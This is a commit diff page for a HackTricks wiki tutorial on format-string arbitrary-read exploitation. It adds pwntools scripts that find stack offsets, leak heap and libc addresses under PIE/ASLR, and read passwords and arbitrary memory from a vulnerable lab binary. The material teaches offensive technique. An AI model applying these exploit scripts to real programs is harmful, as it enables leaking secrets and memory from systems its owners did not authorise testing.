Skip to content

Commit bd576dc

Browse files
authored
Merge pull request #1913 from HackTricks-wiki/research_update_src_binary-exploitation_format-strings_format-strings-arbitrary-read-example_20260218_131848
Research Update Enhanced src/binary-exploitation/format-stri...
2 parents 960f5ba + 815244e commit bd576dc

1 file changed

Lines changed: 73 additions & 1 deletion

File tree

src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

Lines changed: 73 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,9 @@ log.info(p.clean())
4848

4949
## Read passwords
5050

51+
<details>
52+
<summary>Vulnerable binary with stack and BSS passwords</summary>
53+
5154
```c
5255
#include <stdio.h>
5356
#include <string.h>
@@ -79,6 +82,8 @@ int main() {
7982
}
8083
```
8184

85+
</details>
86+
8287
Compile it with:
8388

8489
```bash
@@ -116,6 +121,9 @@ Running the same exploit but with `%p` instead of `%s` it's possible to leak a h
116121

117122
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
118123

124+
<details>
125+
<summary>Find controllable stack address</summary>
126+
119127
```python
120128
from pwn import *
121129

@@ -143,12 +151,17 @@ for i in range(30):
143151
p.close()
144152
```
145153

154+
</details>
155+
146156
And it's possible to see that in the **try 14** with the used passing we can control an address:
147157

148158
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
149159

150160
### Exploit
151161

162+
<details>
163+
<summary>Leak heap then read password</summary>
164+
152165
```python
153166
from pwn import *
154167

@@ -179,9 +192,68 @@ print(output)
179192
p.close()
180193
```
181194

195+
</details>
196+
182197
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
183198

184-
{{#include ../../banners/hacktricks-training.md}}
199+
### Automating the offset discovery
200+
201+
When the stack layout changes on every run (full ASLR/PIE), bruteforcing offsets manually is slow. `pwntools` exposes `FmtStr` to automatically detect the argument index that reaches our controlled buffer. The lambda should return the program output after sending the candidate payload. It stops as soon as it can reliably corrupt/observe memory.
202+
203+
```python
204+
from pwn import *
205+
206+
context.binary = elf = ELF('./fs-read', checksec=False)
207+
208+
# helper that sends payload and returns the first line printed
209+
io = process()
210+
def exec_fmt(payload):
211+
io.sendline(payload)
212+
return io.recvuntil(b'\n', drop=False)
213+
214+
fmt = FmtStr(exec_fmt=exec_fmt)
215+
offset = fmt.offset
216+
log.success(f"Discovered offset: {offset}")
217+
```
218+
219+
You can then reuse `offset` to build arbitrary read/write payloads with `fmtstr_payload`, avoiding manual `%p` fuzzing.
185220

221+
### PIE/libc leak then arbitrary read
186222

223+
On modern binaries with PIE and ASLR, first leak any libc pointer (e.g. `__libc_start_main+243` or `setvbuf`), compute bases, then place your target address after the format string. This keeps the `%s` from being truncated by null bytes inside the pointer.
187224

225+
<details>
226+
<summary>Leak libc and read arbitrary address</summary>
227+
228+
```python
229+
from pwn import *
230+
231+
elf = context.binary = ELF('./fs-read', checksec=False)
232+
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
233+
234+
io = process()
235+
236+
# leak libc address from stack (offset 25 from previous fuzz)
237+
io.sendline(b"%25$p")
238+
io.recvline()
239+
leak = int(io.recvline().strip(), 16)
240+
libc.address = leak - libc.symbols['__libc_start_main'] - 243
241+
log.info(f"libc @ {hex(libc.address)}")
242+
243+
secret = libc.address + 0x1f7bc # adjust to your target
244+
245+
payload = f"%14$s|||".encode()
246+
payload += p64(secret)
247+
248+
io.sendline(payload)
249+
print(io.recvuntil(b"|||")) # prints string at calculated address
250+
```
251+
252+
</details>
253+
254+
## References
255+
256+
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
257+
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
258+
259+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)